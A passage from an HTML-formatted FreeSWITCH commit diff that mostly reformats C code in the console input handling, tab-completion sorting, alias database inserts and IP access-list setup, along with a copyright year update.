</del><ins>+                                        cmd[pos] = 0;
+                                        iCmdBuffer--;
+
+                                        SetConsoleCursorPosition(hOut, position);
+                                        for (pos = iCmdCursor; pos &lt; iCmdBuffer; pos++) {
+                                                printf(&quot;%c&quot;, cmd[pos]);
</ins><span class="cx">                                         }
</span><span class="cx">                                         printf(&quot; &quot;);
</span><del>-                                        if (iCmdCursor &lt; iCmdBuffer) {
-                                                        int pos;
-                                                        iCmdCursor--;
-                                                        for (pos = iCmdCursor; pos &lt; iCmdBuffer; pos++) {
-                                                                cmd[pos] = cmd[pos+1];
-                                                        }
-                                                        cmd[pos] = 0;
-                                                        iCmdBuffer--;
</del><ins>+                                        SetConsoleCursorPosition(hOut, position);
+                                } else {
+                                        SetConsoleCursorPosition(hOut, position);
+                                        iCmdBuffer--;
+                                        iCmdCursor--;
+                                        cmd[iCmdBuffer] = 0;
+                                }
+                        }
+                        break;
+                default:
+                        if (!ignoreNext) {
+                                if (iCmdCursor &lt; iCmdBuffer) {
+                                        int pos;
</ins><span class="cx"> 
</span><del>-                                                        SetConsoleCursorPosition(hOut, position);
-                                                        for (pos = iCmdCursor; pos &lt; iCmdBuffer; pos++) {
-                                                                printf(&quot;%c&quot;, cmd[pos]);
-                                                        }
-                                                        printf(&quot; &quot;);
-                                                        SetConsoleCursorPosition(hOut, position);
</del><ins>+                                        if (position.X == info.dwSize.X - 1) {
+                                                position.Y += 1;
+                                                position.X = 0;
+                                        } else {
+                                                position.X += 1;
</ins><span class="cx">                                         }
</span><del>-                                        else {
-                                                SetConsoleCursorPosition(hOut, position);
-                                                iCmdBuffer--;
-                                                iCmdCursor--;
-                                                cmd[iCmdBuffer] = 0;
-                                        }
-                                }
-                                break;
-                        default:
-                                if (!ignoreNext) {
-                                        if (iCmdCursor &lt; iCmdBuffer) {
-                                                int pos;
</del><span class="cx"> 
</span><del>-                                                if (position.X == info.dwSize.X-1) {
-                                                        position.Y += 1;
-                                                        position.X = 0;
</del><ins>+                                        if (insertMode) {
+                                                for (pos = iCmdBuffer - 1; pos &gt;= iCmdCursor; pos--) {
+                                                        cmd[pos + 1] = cmd[pos];
</ins><span class="cx">                                                 }
</span><del>-                                                else {
-                                                        position.X += 1;
-                                                }
-
-                                                if (insertMode) {
-                                                        for (pos = iCmdBuffer-1; pos &gt;= iCmdCursor; pos--) {
-                                                                cmd[pos+1] = cmd[pos];
-                                                        }
-                                                }
-                                                iCmdBuffer++;
-                                                cmd[iCmdCursor++] = addchars[iBuf];
-                                                printf(&quot;%c&quot;, addchars[iBuf]);
-                                                for (pos = iCmdCursor; pos &lt; iCmdBuffer; pos++) {
-                                                        GetConsoleScreenBufferInfo(hOut, &amp;info);
-                                                        if (info.dwCursorPosition.X == info.dwSize.X-1 &amp;&amp; info.dwCursorPosition.Y == info.dwSize.Y-1) {
-                                                                orgPosition.Y -= 1;
-                                                                position.Y -= 1;
-                                                        }
-                                                        printf(&quot;%c&quot;, cmd[pos]);
-                                                }
-                                                SetConsoleCursorPosition(hOut, position);
</del><span class="cx">                                         }
</span><del>-                                        else {
-                                                if (position.X == info.dwSize.X-1 &amp;&amp; position.Y == info.dwSize.Y-1) {
</del><ins>+                                        iCmdBuffer++;
+                                        cmd[iCmdCursor++] = addchars[iBuf];
+                                        printf(&quot;%c&quot;, addchars[iBuf]);
+                                        for (pos = iCmdCursor; pos &lt; iCmdBuffer; pos++) {
+                                                GetConsoleScreenBufferInfo(hOut, &amp;info);
+                                                if (info.dwCursorPosition.X == info.dwSize.X - 1 &amp;&amp; info.dwCursorPosition.Y == info.dwSize.Y - 1) {
</ins><span class="cx">                                                         orgPosition.Y -= 1;
</span><ins>+                                                        position.Y -= 1;
</ins><span class="cx">                                                 }
</span><del>-                                                cmd[iCmdBuffer++] = addchars[iBuf];
-                                                iCmdCursor++;
-                                                printf(&quot;%c&quot;, addchars[iBuf]);
</del><ins>+                                                printf(&quot;%c&quot;, cmd[pos]);
</ins><span class="cx">                                         }
</span><ins>+                                        SetConsoleCursorPosition(hOut, position);
+                                } else {
+                                        if (position.X == info.dwSize.X - 1 &amp;&amp; position.Y == info.dwSize.Y - 1) {
+                                                orgPosition.Y -= 1;
+                                        }
+                                        cmd[iCmdBuffer++] = addchars[iBuf];
+                                        iCmdCursor++;
+                                        printf(&quot;%c&quot;, addchars[iBuf]);
</ins><span class="cx">                                 }
</span><ins>+                        }
</ins><span class="cx">                 }
</span><span class="cx">                 if (iCmdBuffer == CMD_BUFLEN) {
</span><span class="cx">                         printf(&quot;Read Console... BUFFER OVERRUN\n&quot;);
</span><span class="cx">                         iCmdBuffer = 0;
</span><span class="cx">                         ignoreNext = 1;
</span><span class="cx">                 }
</span><del>-    }
-    return (SWITCH_STATUS_SUCCESS);
</del><ins>+        }
+        return (SWITCH_STATUS_SUCCESS);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-static BOOL console_readConsole(HANDLE conIn, char* buf, int len, int* pRed, int *key)
</del><ins>+static BOOL console_readConsole(HANDLE conIn, char *buf, int len, int *pRed, int *key)
</ins><span class="cx"> {
</span><del>-    DWORD recordIndex, bufferIndex, toRead, red;
-    PINPUT_RECORD pInput;
</del><ins>+        DWORD recordIndex, bufferIndex, toRead, red;
+        PINPUT_RECORD pInput;
</ins><span class="cx"> 
</span><del>-    GetNumberOfConsoleInputEvents(conIn, &amp;toRead);
-        if (len &lt; (int)toRead) {
</del><ins>+        GetNumberOfConsoleInputEvents(conIn, &amp;toRead);
+        if (len &lt; (int) toRead) {
</ins><span class="cx">                 toRead = len;
</span><span class="cx">         }
</span><span class="cx">         if (toRead == 0) {
</span><del>-                return(FALSE);
</del><ins>+                return (FALSE);
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if ((pInput = (PINPUT_RECORD) malloc(toRead * sizeof(INPUT_RECORD))) == NULL) {
</span><span class="cx">                 return (FALSE);
</span><span class="cx">         }
</span><span class="cx">         *key = 0;
</span><del>-    ReadConsoleInput(conIn, pInput, toRead, &amp;red);
</del><ins>+        ReadConsoleInput(conIn, pInput, toRead, &amp;red);
</ins><span class="cx"> 
</span><del>-    for (recordIndex = bufferIndex = 0; recordIndex &lt; red; recordIndex++) {
-        KEY_EVENT_RECORD keyEvent = pInput[recordIndex].Event.KeyEvent;
-            if (pInput[recordIndex].EventType == KEY_EVENT &amp;&amp; keyEvent.bKeyDown) {
</del><ins>+        for (recordIndex = bufferIndex = 0; recordIndex &lt; red; recordIndex++) {
+                KEY_EVENT_RECORD keyEvent = pInput[recordIndex].Event.KeyEvent;
+                if (pInput[recordIndex].EventType == KEY_EVENT &amp;&amp; keyEvent.bKeyDown) {
</ins><span class="cx">                         if (keyEvent.wVirtualKeyCode == 38 &amp;&amp; keyEvent.wVirtualScanCode == 72) {
</span><span class="cx">                                 buf[0] = 0;
</span><span class="cx">                                 console_history(buf, -1);
</span><span class="cx">                                 *key = KEY_UP;
</span><del>-                                bufferIndex += (DWORD)strlen(buf);
</del><ins>+                                bufferIndex += (DWORD) strlen(buf);
</ins><span class="cx">                         }
</span><span class="cx">                         if (keyEvent.wVirtualKeyCode == 40 &amp;&amp; keyEvent.wVirtualScanCode == 80) {
</span><span class="cx">                                 buf[0] = 0;
</span><span class="cx">                                 console_history(buf, 1);
</span><span class="cx">                                 *key = KEY_DOWN;
</span><del>-                                bufferIndex += (DWORD)strlen(buf);
</del><ins>+                                bufferIndex += (DWORD) strlen(buf);
</ins><span class="cx">                         }
</span><span class="cx">                         if (keyEvent.wVirtualKeyCode == 112 &amp;&amp; keyEvent.wVirtualScanCode == 59) {
</span><span class="cx">                                 console_fnkey_pressed(1);
</span><span class="lines">@@ -1401,40 +1397,40 @@
</span><span class="cx">                         if (keyEvent.wVirtualKeyCode == 45 &amp;&amp; keyEvent.wVirtualScanCode == 82) {
</span><span class="cx">                                 *key = KEY_INSERT;
</span><span class="cx">                         }
</span><del>-                while (keyEvent.wRepeatCount &amp;&amp; keyEvent.uChar.AsciiChar) {
-                            buf[bufferIndex] = keyEvent.uChar.AsciiChar;
</del><ins>+                        while (keyEvent.wRepeatCount &amp;&amp; keyEvent.uChar.AsciiChar) {
+                                buf[bufferIndex] = keyEvent.uChar.AsciiChar;
</ins><span class="cx">                                 if (buf[bufferIndex] == '\r') {
</span><del>-                                    buf[bufferIndex] = '\n';
</del><ins>+                                        buf[bufferIndex] = '\n';
</ins><span class="cx">                                 }
</span><del>-                            bufferIndex++;
-                            keyEvent.wRepeatCount--;
-                }
-            }
-    }
</del><ins>+                                bufferIndex++;
+                                keyEvent.wRepeatCount--;
+                        }
+                }
+        }
</ins><span class="cx"> 
</span><del>-    free(pInput);
-    *pRed = bufferIndex;
-    return (TRUE);
</del><ins>+        free(pInput);
+        *pRed = bufferIndex;
+        return (TRUE);
</ins><span class="cx"> }
</span><span class="cx"> #endif
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(void) switch_console_loop(void)
</span><span class="cx"> {
</span><del>-        char cmd[CMD_BUFLEN+1] = &quot;&quot;;
-        int32_t activity = 1;        
</del><ins>+        char cmd[CMD_BUFLEN + 1] = &quot;&quot;;
+        int32_t activity = 1;
</ins><span class="cx"> #ifndef _MSC_VER
</span><span class="cx">         int x = 0;
</span><span class="cx"> #else
</span><span class="cx">         char keys[80];
</span><del>-#endif        
</del><ins>+#endif
</ins><span class="cx"> 
</span><span class="cx">         /* Load/Init the config first */
</span><span class="cx">         console_xml_config();
</span><span class="cx">         gethostname(hostname, sizeof(hostname));
</span><span class="cx"> #ifdef _MSC_VER
</span><span class="cx">         sprintf(cmd, &quot;\nfreeswitch@%s&gt; &quot;, hostname);
</span><del>-        console_bufferInput (0, 0, cmd, PROMPT_OP);
</del><ins>+        console_bufferInput(0, 0, cmd, PROMPT_OP);
</ins><span class="cx">         memset(cmd, 0, sizeof(cmd));
</span><span class="cx"> #endif
</span><span class="cx"> 
</span><span class="lines">@@ -1458,7 +1454,7 @@
</span><span class="cx">                 }
</span><span class="cx"> #ifdef _MSC_VER
</span><span class="cx">                 activity = 0;
</span><del>-                if (console_readConsole(stdinHandle, keys, (int)sizeof(keys), &amp;read, &amp;key)) {
</del><ins>+                if (console_readConsole(stdinHandle, keys, (int) sizeof(keys), &amp;read, &amp;key)) {
</ins><span class="cx">                         if (console_bufferInput(keys, read, cmd, key)) {
</span><span class="cx">                                 if (!strcmp(cmd, &quot;Empty&quot;)) {
</span><span class="cx">                                         cmd[0] = '\n';
</span><span class="lines">@@ -1482,7 +1478,7 @@
</span><span class="cx">                 if (FD_ISSET(fileno(stdin), &amp;efds)) {
</span><span class="cx">                         continue;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!FD_ISSET(fileno(stdin), &amp;rfds)) {
</span><span class="cx">                         activity = 0;
</span><span class="cx">                 }
</span><span class="lines">@@ -1530,7 +1526,7 @@
</span><span class="cx"> {
</span><span class="cx">         switch_mutex_init(&amp;globals.func_mutex, SWITCH_MUTEX_NESTED, pool);
</span><span class="cx">         switch_core_hash_init(&amp;globals.func_hash, pool);
</span><del>-        switch_console_add_complete_func(&quot;::console::list_uuid&quot;, (switch_console_complete_callback_t)switch_console_list_uuid);
</del><ins>+        switch_console_add_complete_func(&quot;::console::list_uuid&quot;, (switch_console_complete_callback_t) switch_console_list_uuid);
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -1542,9 +1538,9 @@
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_console_add_complete_func(const char *name, switch_console_complete_callback_t cb)
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(globals.func_mutex);
</span><del>-        status = switch_core_hash_insert(globals.func_hash, name, (void *)(intptr_t)cb);
</del><ins>+        status = switch_core_hash_insert(globals.func_hash, name, (void *) (intptr_t) cb);
</ins><span class="cx">         switch_mutex_unlock(globals.func_mutex);
</span><span class="cx"> 
</span><span class="cx">         return status;
</span><span class="lines">@@ -1553,12 +1549,12 @@
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_console_del_complete_func(const char *name)
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(globals.func_mutex);
</span><span class="cx">         status = switch_core_hash_insert(globals.func_hash, name, NULL);
</span><span class="cx">         switch_mutex_unlock(globals.func_mutex);
</span><span class="cx"> 
</span><del>-    return status;
</del><ins>+        return status;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(void) switch_console_free_matches(switch_console_callback_match_t **matches)
</span><span class="lines">@@ -1570,7 +1566,7 @@
</span><span class="cx">         *matches = NULL;
</span><span class="cx"> 
</span><span class="cx">         m = my_match-&gt;head;
</span><del>-        while(m) {
</del><ins>+        while (m) {
</ins><span class="cx">                 cur = m;
</span><span class="cx">                 m = m-&gt;next;
</span><span class="cx">                 free(cur-&gt;val);
</span><span class="lines">@@ -1592,41 +1588,46 @@
</span><span class="cx">         if (matches-&gt;count &lt; 2) {
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-        
-        for(i = 1; i &lt; matches-&gt;count; i++) {
</del><ins>+
+        for (i = 1; i &lt; matches-&gt;count; i++) {
</ins><span class="cx">                 sort[0] = NULL;
</span><span class="cx">                 sort[1] = matches-&gt;head;
</span><span class="cx">                 sort[2] = sort[1] ? sort[1]-&gt;next : NULL;
</span><del>-                sort[3] = sort[2] ? sort[2]-&gt;next : NULL;                
</del><ins>+                sort[3] = sort[2] ? sort[2]-&gt;next : NULL;
</ins><span class="cx"> 
</span><del>-                for(j = 1; j &lt;= (matches-&gt;count - i); j++) {
</del><ins>+                for (j = 1; j &lt;= (matches-&gt;count - i); j++) {
</ins><span class="cx">                         if (strcmp(sort[1]-&gt;val, sort[2]-&gt;val) &gt; 0) {
</span><span class="cx">                                 sort[1]-&gt;next = sort[3];
</span><span class="cx">                                 sort[2]-&gt;next = sort[1];
</span><span class="cx"> 
</span><del>-                                if (sort[0]) sort[0]-&gt;next = sort[2];
-                                if (sort[1] == matches-&gt;head) matches-&gt;head = sort[2];
-                                
-                                
</del><ins>+                                if (sort[0])
+                                        sort[0]-&gt;next = sort[2];
+                                if (sort[1] == matches-&gt;head)
+                                        matches-&gt;head = sort[2];
</ins><span class="cx"> 
</span><span class="cx"> 
</span><ins>+
+
</ins><span class="cx">                                 sort[0] = sort[2];
</span><span class="cx">                                 sort[2] = sort[1]-&gt;next;
</span><del>-                                if (sort[3] &amp;&amp; sort[3]-&gt;next) sort[3] = sort[3]-&gt;next;
-                                
</del><ins>+                                if (sort[3] &amp;&amp; sort[3]-&gt;next)
+                                        sort[3] = sort[3]-&gt;next;
+
</ins><span class="cx">                         } else {
</span><span class="cx">                                 sort[0] = sort[1];
</span><span class="cx">                                 sort[1] = sort[2];
</span><span class="cx">                                 sort[2] = sort[3];
</span><del>-                                if (sort[3] &amp;&amp; sort[3]-&gt;next) sort[3] = sort[3]-&gt;next;
</del><ins>+                                if (sort[3] &amp;&amp; sort[3]-&gt;next)
+                                        sort[3] = sort[3]-&gt;next;
</ins><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         p = matches-&gt;head;
</span><span class="cx"> 
</span><del>-        for(i = 1; i &lt; matches-&gt;count; i++) p = p-&gt;next;
</del><ins>+        for (i = 1; i &lt; matches-&gt;count; i++)
+                p = p-&gt;next;
</ins><span class="cx"> 
</span><span class="cx">         if (p) {
</span><span class="cx">                 p-&gt;next = NULL;
</span><span class="lines">@@ -1664,7 +1665,7 @@
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(globals.func_mutex);
</span><del>-        if ((cb = (switch_console_complete_callback_t)(intptr_t)switch_core_hash_find(globals.func_hash, func))) {
</del><ins>+        if ((cb = (switch_console_complete_callback_t) (intptr_t) switch_core_hash_find(globals.func_hash, func))) {
</ins><span class="cx">                 if ((status = cb(line, last_word, matches)) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_console_sort_matches(*matches);
</span><span class="cx">                 }
</span><span class="lines">@@ -1719,7 +1720,7 @@
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="cx">                                 mystream.write_function(&amp;mystream, &quot; '%s')&quot;, switch_core_get_variable(&quot;hostname&quot;));
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_cache_db_persistant_execute(db, mystream.data, 5);
</span><span class="cx">                                 status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">                         } else if (!strcasecmp(argv[0], &quot;del&quot;)) {
</span><span class="lines">@@ -1771,10 +1772,10 @@
</span><span class="cx">                                 switch_cache_db_persistant_execute(db, sql, 5);
</span><span class="cx">                                 switch_safe_free(sql);
</span><span class="cx">                                 if (db-&gt;type == SCDB_TYPE_CORE_DB) {
</span><del>-                                        sql = switch_mprintf(&quot;insert into aliases (sticky, alias, command, hostname) values (1, '%q','%q','%q')&quot;, 
</del><ins>+                                        sql = switch_mprintf(&quot;insert into aliases (sticky, alias, command, hostname) values (1, '%q','%q','%q')&quot;,
</ins><span class="cx">                                                                                  argv[1], argv[2], switch_core_get_variable(&quot;hostname&quot;));
</span><span class="cx">                                 } else {
</span><del>-                                        sql = switch_mprintf(&quot;insert into aliases (sticky, alias, command, hostname) values (1, '%w','%w','%w')&quot;, 
</del><ins>+                                        sql = switch_mprintf(&quot;insert into aliases (sticky, alias, command, hostname) values (1, '%w','%w','%w')&quot;,
</ins><span class="cx">                                                                                  argv[1], argv[2], switch_core_get_variable(&quot;hostname&quot;));
</span><span class="cx">                                 }
</span><span class="cx">                                 switch_cache_db_persistant_execute(db, sql, 5);
</span><span class="lines">@@ -1784,10 +1785,10 @@
</span><span class="cx">                                 switch_cache_db_persistant_execute(db, sql, 5);
</span><span class="cx">                                 switch_safe_free(sql);
</span><span class="cx">                                 if (db-&gt;type == SCDB_TYPE_CORE_DB) {
</span><del>-                                        sql = switch_mprintf(&quot;insert into aliases (sticky, alias, command, hostname) values (0, '%q','%q','%q')&quot;, 
</del><ins>+                                        sql = switch_mprintf(&quot;insert into aliases (sticky, alias, command, hostname) values (0, '%q','%q','%q')&quot;,
</ins><span class="cx">                                                                                  argv[1], argv[2], switch_core_get_variable(&quot;hostname&quot;));
</span><span class="cx">                                 } else {
</span><del>-                                        sql = switch_mprintf(&quot;insert into aliases (sticky, alias, command, hostname) values (0, '%w','%w','%w')&quot;, 
</del><ins>+                                        sql = switch_mprintf(&quot;insert into aliases (sticky, alias, command, hostname) values (0, '%w','%w','%w')&quot;,
</ins><span class="cx">                                                                                  argv[1], argv[2], switch_core_get_variable(&quot;hostname&quot;));
</span><span class="cx">                                 }
</span><span class="cx">                                 switch_cache_db_persistant_execute(db, sql, 5);
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_corec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_core.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_core.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -89,7 +89,8 @@
</span><span class="cx"> static char main_ip4[256] = &quot;&quot;;
</span><span class="cx"> static char main_ip6[256] = &quot;&quot;;
</span><span class="cx"> 
</span><del>-static void check_ip(void) {
</del><ins>+static void check_ip(void)
+{
</ins><span class="cx">         char guess_ip4[256] = &quot;&quot;;
</span><span class="cx">         char guess_ip6[256] = &quot;&quot;;
</span><span class="cx">         char old_ip4[256] = &quot;&quot;;
</span><span class="lines">@@ -127,7 +128,7 @@
</span><span class="cx">                         switch_core_set_variable(&quot;local_ip_v6&quot;, guess_ip6);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!ok4 || !ok6) {
</span><span class="cx">                 switch_event_t *event;
</span><span class="cx"> 
</span><span class="lines">@@ -191,8 +192,8 @@
</span><span class="cx"> SWITCH_DECLARE(void) switch_core_remove_state_handler(const switch_state_handler_table_t *state_handler)
</span><span class="cx"> {
</span><span class="cx">         int index, tmp_index = 0;
</span><del>-        const switch_state_handler_table_t *tmp[SWITCH_MAX_STATE_HANDLERS+1] = { 0 };
-        
</del><ins>+        const switch_state_handler_table_t *tmp[SWITCH_MAX_STATE_HANDLERS + 1] = { 0 };
+
</ins><span class="cx">         switch_mutex_lock(runtime.global_mutex);
</span><span class="cx"> 
</span><span class="cx">         for (index = 0; index &lt; runtime.state_handler_index; index++) {
</span><span class="lines">@@ -268,8 +269,8 @@
</span><span class="cx"> static void switch_core_unset_variables(void)
</span><span class="cx"> {
</span><span class="cx">         switch_hash_index_t *hi;
</span><del>-    const void *var;
-    void *val;
</del><ins>+        const void *var;
+        void *val;
</ins><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(runtime.global_var_mutex);
</span><span class="cx">         for (hi = switch_hash_first(NULL, runtime.global_vars); hi; hi = switch_hash_next(hi)) {
</span><span class="lines">@@ -312,8 +313,8 @@
</span><span class="cx">         switch_channel_t *channel;
</span><span class="cx">         switch_frame_t *read_frame;
</span><span class="cx"> 
</span><del>-//        switch_assert(thread != NULL);
-//        switch_assert(session != NULL);
</del><ins>+//  switch_assert(thread != NULL);
+//  switch_assert(session != NULL);
</ins><span class="cx"> 
</span><span class="cx">         if (switch_core_session_read_lock(session) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 return NULL;
</span><span class="lines">@@ -346,7 +347,7 @@
</span><span class="cx"> 
</span><span class="cx">         channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_assert(channel);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_channel_clear_flag(channel, CF_SERVICE);
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -357,7 +358,7 @@
</span><span class="cx"> 
</span><span class="cx">         channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_assert(channel);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_session_launch_thread(session, switch_core_service_thread, session);
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -783,7 +784,7 @@
</span><span class="cx">         if (fd &lt;= 0) {
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         while ((switch_fd_read_line(fd, line_buf, sizeof(line_buf)))) {
</span><span class="cx">                 char *p;
</span><span class="cx">                 char *type = line_buf;
</span><span class="lines">@@ -813,7 +814,7 @@
</span><span class="cx">                 fd = -1;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx">         switch_safe_free(mime_path);
</span><span class="cx"> 
</span><span class="lines">@@ -885,7 +886,7 @@
</span><span class="cx">         if ((list = switch_core_hash_find(IP_LIST.hash, list_name))) {
</span><span class="cx">                 ok = switch_network_list_validate_ip_token(list, ip, token);
</span><span class="cx">         } else if (strchr(list_name, '/')) {
</span><del>-                if (strchr(list_name, ','))  {
</del><ins>+                if (strchr(list_name, ',')) {
</ins><span class="cx">                         char *list_name_dup = strdup(list_name);
</span><span class="cx">                         char *argv[32];
</span><span class="cx">                         int argc;
</span><span class="lines">@@ -898,7 +899,7 @@
</span><span class="cx">                                         switch_parse_cidr(argv[i], &amp;net, &amp;mask, &amp;bits);
</span><span class="cx">                                         if ((ok = switch_test_subnet(ip, net, mask))) {
</span><span class="cx">                                                 break;
</span><del>-                                        }        
</del><ins>+                                        }
</ins><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                         free(list_name_dup);
</span><span class="lines">@@ -926,7 +927,7 @@
</span><span class="cx">         switch_find_local_ip(guess_ip, sizeof(guess_ip), &amp;mask, AF_INET);
</span><span class="cx">         in.s_addr = mask;
</span><span class="cx">         switch_set_string(guess_mask, inet_ntoa(in));
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(runtime.global_mutex);
</span><span class="cx"> 
</span><span class="cx">         if (IP_LIST.hash) {
</span><span class="lines">@@ -948,7 +949,7 @@
</span><span class="cx">         switch_network_list_add_cidr(rfc_list, &quot;10.0.0.0/8&quot;, SWITCH_TRUE);
</span><span class="cx">         switch_network_list_add_cidr(rfc_list, &quot;172.16.0.0/12&quot;, SWITCH_TRUE);
</span><span class="cx">         switch_network_list_add_cidr(rfc_list, &quot;192.168.0.0/16&quot;, SWITCH_TRUE);
</span><del>-        switch_core_hash_insert(IP_LIST.hash, tmp_name, rfc_list);        
</del><ins>+        switch_core_hash_insert(IP_LIST.hash, tmp_name, rfc_list);
</ins><span class="cx"> 
</span><span class="cx">         tmp_name = &quot;wan.auto&quot;;
</span><span class="cx">         switch_network_list_create(&amp;rfc_list, tmp_name, SWITCH_TRUE, IP_LIST.pool);
</span><span class="lines">@@ -956,19 +957,18 @@
</span><span class="cx">         switch_network_list_add_cidr(rfc_list, &quot;10.0.0.0/8&quot;, SWITCH_FALSE);
</span><span class="cx">         switch_network_list_add_cidr(rfc_list, &quot;172.16.0.0/12&quot;, SWITCH_FALSE);
</span><span class="cx">         switch_network_list_add_cidr(rfc_list, &quot;192.168.0.0/16&quot;, SWITCH_FALSE);
</span><del>-        switch_core_hash_insert(IP_LIST.hash, tmp_name, rfc_list);        
</del><ins>+        switch_core_hash_insert(IP_LIST.hash, tmp_name, rfc_list);
</ins><span class="cx"> 
</span><span class="cx">         tmp_name = &quot;nat.auto&quot;;
</span><span class="cx">         switch_network_list_create(&amp;rfc_list, tmp_name, SWITCH_FALSE, IP_LIST.pool);
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;Created ip list %s default (deny)\n&quot;, tmp_name);
</span><span class="cx">         if (switch_network_list_add_host_mask(rfc_list, guess_ip, guess_mask, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE,
-                                                  &quot;Adding %s/%s (deny) to list %s\n&quot;, guess_ip, guess_mask, tmp_name);
-        }
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;Adding %s/%s (deny) to list %s\n&quot;, guess_ip, guess_mask, tmp_name);
+        }
</ins><span class="cx">         switch_network_list_add_cidr(rfc_list, &quot;10.0.0.0/8&quot;, SWITCH_TRUE);
</span><span class="cx">         switch_network_list_add_cidr(rfc_list, &quot;172.16.0.0/12&quot;, SWITCH_TRUE);
</span><span class="cx">         switch_network_list_add_cidr(rfc_list, &quot;192.168.0.0/16&quot;, SWITCH_TRUE);
</span><del>-        switch_core_hash_insert(IP_LIST.hash, tmp_name, rfc_list);        
</del><ins>+        switch_core_hash_insert(IP_LIST.hash, tmp_name, rfc_list);
</ins><span class="cx"> 
</span><span class="cx">         tmp_name = &quot;loopback.auto&quot;;
</span><span class="cx">         switch_network_list_create(&amp;rfc_list, tmp_name, SWITCH_FALSE, IP_LIST.pool);
</span><span class="lines">@@ -979,14 +979,13 @@
</span><span class="cx">         tmp_name = &quot;localnet.auto&quot;;
</span><span class="cx">         switch_network_list_create(&amp;list, tmp_name, SWITCH_FALSE, IP_LIST.pool);
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;Created ip list %s default (deny)\n&quot;, tmp_name);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_network_list_add_host_mask(list, guess_ip, guess_mask, SWITCH_TRUE) == SWITCH_STATUS_SUCCESS) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE,
-                                                  &quot;Adding %s/%s (allow) to list %s\n&quot;, guess_ip, guess_mask, tmp_name);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;Adding %s/%s (allow) to list %s\n&quot;, guess_ip, guess_mask, tmp_name);
</ins><span class="cx">         }
</span><del>-        switch_core_hash_insert(IP_LIST.hash, tmp_name, list);        
</del><ins>+        switch_core_hash_insert(IP_LIST.hash, tmp_name, list);
</ins><span class="cx"> 
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((xml = switch_xml_open_cfg(&quot;acl.conf&quot;, &amp;cfg, NULL))) {
</span><span class="cx">                 if ((x_lists = switch_xml_child(cfg, &quot;network-lists&quot;))) {
</span><span class="cx">                         for (x_list = switch_xml_child(x_lists, &quot;list&quot;); x_list; x_list = x_list-&gt;next) {
</span><span class="lines">@@ -1036,13 +1035,13 @@
</span><span class="cx">                                                 switch_assert(my_params);
</span><span class="cx">                                                 switch_event_add_header_string(my_params, SWITCH_STACK_BOTTOM, &quot;domain&quot;, domain);
</span><span class="cx">                                                 switch_event_add_header_string(my_params, SWITCH_STACK_BOTTOM, &quot;purpose&quot;, &quot;network-list&quot;);
</span><del>-                                                
</del><ins>+
